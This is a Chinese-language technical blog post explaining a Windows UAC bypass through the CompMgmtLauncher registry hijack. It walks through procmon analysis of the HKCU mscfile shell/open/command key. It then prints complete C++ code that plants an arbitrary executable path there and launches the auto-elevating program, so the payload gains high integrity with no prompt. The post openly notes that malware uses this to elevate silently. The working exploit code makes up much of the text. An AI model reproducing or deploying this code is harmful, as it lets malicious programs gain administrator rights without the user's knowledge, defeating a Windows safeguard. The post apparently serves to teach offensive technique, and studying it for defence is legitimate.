提权技术-Bypass UAC

本文最后更新于:2021-08-09 晚上

Bypass UAC

UAC(UserAccount Control,用户账户控制)是微软在VISTA之后的版本中引入的一种安全机制,通过UAC,应用程序和任务可以始终在非管理员账户的安全上下文中运行,除非特别授予管理员级别的系统访问权限。UAC可以阻止未经授权的应用程序自动进行安装,并防止无意地更改系统设置。

正常UAC是有一个弹窗提示,而病毒木马为了隐藏自己,就需要不通知用户的情况下“偷偷“将自己提升为管理员权限。

在Windows中,一些高权限的程序在运行时,是不需要弹出UAC的。这些白名单程序,默认就是以管理员权限运行。可以通过DLL劫持、注入或者是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。

下面拿白名单程序CompMgmtLauncher来进行一下分析。

分析CompMgmtLauncher启动过程

打开procmon工具来监控CompMgmtLauncher启动。可以看到,它会读取HKCU\Software\Classes\mscfile\shell\open\command中的值。

可以看一下,此路径中存在什么,可以看到其中没有值

如果该路径没有值,然后就会查询HKCR\mscfile\shell\open\command,查看其中的值,存储这mmc.exe进程的路径信息。

现在可以知道,当它启动时,会先查看HKCU\Software\Classes\mscfile\shell\open\command,那么如果在这里添加路径信息,CompMgmtLauncher就会启动它。

现在就修改注册表信息,在HKCU\Software\Classes\mscfile\shell\open\command添加需要提权的程序路径,再运行CompMgmtLauncher就可以完成Bypass UAC提权。

实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include "pch.h"
#include <iostream>
#include <Windows.h>
int main()
{

PVOID OldValue = NULL;
//关闭重定位
Wow64DisableWow64FsRedirection(&OldValue);
HKEY hKey = NULL;
RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command",
0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (hKey == NULL) {
printf("创建键值失败\n");
return FALSE;
}
RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)"C:\\Users\\b1ackie\\Desktop\\TestApc.exe", (strlen("C:\\Users\\b1ackie\\Desktop\\TestApc.exe") + 1));
RegCloseKey(hKey);
system("CompMgmtLauncher.exe");
Wow64RevertWow64FsRedirection(OldValue);
system("pause");
return 0;
}

这里需要提权的程序为桌面上的TestApc.exe,运行后查看效果。运行程序可以看到,testapc.exe直接运行。

使用procmon工具查看权限可以看到权限是高

正常启动查看权限可以看到是中。

参考

参考《Windows黑客编程技术详解》一书